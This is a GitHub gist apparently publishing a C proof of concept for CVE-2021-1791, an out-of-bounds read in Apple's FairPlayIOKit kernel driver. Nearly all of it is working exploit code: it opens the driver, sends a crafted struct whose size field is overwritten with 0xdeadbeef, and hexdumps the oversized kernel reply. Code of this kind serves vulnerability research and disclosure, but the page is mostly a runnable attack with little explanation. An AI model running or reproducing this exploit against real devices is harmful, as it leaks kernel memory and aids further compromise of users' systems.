Forked from pwn0rz/fairplay_iokit_uc_run_versioned.c
Created
February 3, 2021 06:13
-
-
Save bb33bb/fe7e457e4e9fe0a3c0b9f9932a14a7d5 to your computer and use it in GitHub Desktop.
CVE-2021-1791 Fairplay OOB Read POC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <IOKit/IOKitLib.h> | |
#include <mach/mach.h> | |
#include <stdio.h> | |
#include <stdint.h> | |
#include <stdlib.h> | |
#include <ctype.h> | |
void hexdump(void *ptr, int buflen) { | |
unsigned char *buf = (unsigned char*)ptr; | |
int i, j; | |
for (i=0; i<buflen; i+=16) { | |
printf("%06x: ", i); | |
for (j=0; j<16; j++) | |
if (i+j < buflen) | |
printf("%02x ", buf[i+j]); | |
else | |
printf(" "); | |
printf(" "); | |
for (j=0; j<16; j++) | |
if (i+j < buflen) | |
printf("%c", isprint(buf[i+j]) ? buf[i+j] : '.'); | |
printf("\n"); | |
} | |
} | |
io_connect_t fairplay_service_open(){ | |
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("com_apple_driver_FairPlayIOKit")); | |
if(service == MACH_PORT_NULL){ | |
printf("[!] failed to match fairplay servive\n"); | |
return MACH_PORT_NULL; | |
} | |
io_connect_t conn; | |
kern_return_t kr; | |
if( KERN_SUCCESS != (kr = IOServiceOpen(service,mach_task_self(),1,&conn)) ){ | |
printf("failed to open fairplay service : %s\n",mach_error_string(kr)); | |
return MACH_PORT_NULL; | |
} | |
return conn; | |
} | |
struct kJAimpk | |
{ | |
uint32_t field_0; | |
uint32_t field_4; | |
uint32_t field_8; | |
uint8_t sec1[20]; | |
uint8_t sec2[512]; | |
uint32_t size; | |
uint8_t fp_ret; | |
}; | |
int fairplay_run_versioned(io_connect_t conn,struct kJAimpk* in,struct kJAimpk *out){ | |
size_t outsize = sizeof(struct kJAimpk); | |
kern_return_t kr = IOConnectCallStructMethod(conn,21,in,sizeof(struct kJAimpk),out,&outsize); | |
if(kr != KERN_SUCCESS){ | |
printf("failed to run versioned : %s\n",mach_error_string(kr)); | |
return -1; | |
} | |
return 0; | |
} | |
int main(){ | |
printf("sizeof(struct kJAimpk) = %lx\n",sizeof(struct kJAimpk)); | |
io_connect_t conn = fairplay_service_open(); | |
if(!conn){ | |
return -1; | |
} | |
printf("[+] fairplay iokit connection : %x\n",conn); | |
struct kJAimpk *sIn = (struct kJAimpk *)malloc(sizeof(struct kJAimpk)); | |
struct kJAimpk *sOut = (struct kJAimpk *)malloc(sizeof(struct kJAimpk)); | |
uint8_t sec1[20] = {0xe3, 0x8d, 0x3a, 0x96, 0xd7, 0xdb, 0x25, 0x63, 0xf9, 0x5d, 0x96, 0xf4, 0x65, 0xa9, 0x11, 0x9b, 0xa6, 0x16, 0x2f, 0x17}; | |
uint8_t sec2[512] = { | |
0x26, 0x4c, 0xcf, 0xe7, 0xd8, 0xcc, 0xae, 0x05, 0xc8, 0xa0, 0x89, 0x98, 0x67, 0x93, 0x4b, 0x77, | |
0x11, 0x92, 0xd9, 0x5e, 0xac, 0x38, 0x07, 0x80, 0x7b, 0x43, 0xd3, 0xd8, 0xd0, 0x5c, 0x96, 0x61, | |
0xab, 0x4b, 0x90, 0xae, 0x5d, 0x3b, 0x7b, 0x9e, 0x88, 0xfa, 0x52, 0xfa, 0x2e, 0x88, 0x65, 0xad, | |
0xfd, 0xf5, 0xa4, 0xbc, 0x6c, 0xe2, 0xed, 0x80, 0x54, 0x3a, 0x4f, 0xfe, 0xda, 0xef, 0xf6, 0xea, | |
0x22, 0x80, 0x81, 0x8c, 0x1b, 0x4e, 0x84, 0x90, 0x9d, 0xfd, 0xf6, 0x4a, 0x76, 0xf0, 0x15, 0x54, | |
0xca, 0xd7, 0xe4, 0xc4, 0xb3, 0x5c, 0x97, 0xf9, 0x65, 0x21, 0x82, 0xa3, 0x95, 0xa2, 0x2a, 0x8a, | |
0x02, 0xa4, 0x80, 0x86, 0xdf, 0xff,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, 0x2e, 0xff, 0xab, 0x1c, 0x12, 0x73, | |
0x6c, 0xe4, 0x0b, 0xbc, 0x0b, 0x8e, 0x18, 0xf8, 0x68, 0x0a, 0x07, 0x6a, 0x84, 0x63, 0x2b, 0x42, | |
0xe0, 0xb9, 0x7d, 0x04, 0xc1, 0x30, 0xab, 0xdf, 0x0f, 0xc4, 0xac, 0x77, 0x1d, 0xac, 0x53, 0xd4, | |
0x8c, 0x1e, 0xdb, 0x38, 0x99, 0x30, 0x6e, 0x3e, 0x3e, 0x4a, 0x56, 0xca, 0x58, 0x0c, 0x97, 0xe0, | |
0x9c, 0x02, 0xde, 0xb6, 0x58, 0x52, 0x22, 0x70, 0xfa, 0x53, 0xcb, 0xb3, 0x37, 0x2f, 0xbf, 0xfe, | |
0x0d, 0x01, 0x54, 0xdc, 0x58, 0x8e, 0x53, 0x9b, 0xab, 0xc3, 0x77, 0x6a, 0xb6, 0x0c, 0x6a, 0x88, | |
0x56, 0x71, 0x71, 0xbe, 0x68, 0x0e, 0x26, 0xfa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x26, 0x17, 0x2f, 0x17, 0xe4, 0x86, 0xc6, 0x6b, 0x77, 0x10, 0x47, 0x16, 0x83, 0x96, 0xe9, 0x3e, | |
0x47, 0x75, 0x5b, 0x85, 0xc6, 0xcf, 0x85, 0xcc, 0xa7, 0x18, 0x95, 0x2a, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
}; | |
sIn->field_0 = 0x00000008; | |
sIn->field_4 = 0x525e5ba4; | |
sIn->field_8 = 0x34788a7a; | |
sIn->size = 0x70; | |
memcpy(sIn->sec1,sec1,20); | |
memcpy(sIn->sec2,sec2,sIn->size); | |
//magic | |
sIn->size = 0xdeadbeef; | |
if(fairplay_run_versioned(conn,sIn,sOut)){ | |
return -1; | |
} | |
printf("outSec1 : \n"); | |
hexdump(sOut->sec1,20); | |
printf("outSec2 : \n"); | |
hexdump(sOut->sec2,sOut->size); | |
printf("[+] fairplay success, size = %d, ret = %d\n",sOut->size,sOut->fp_ret); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment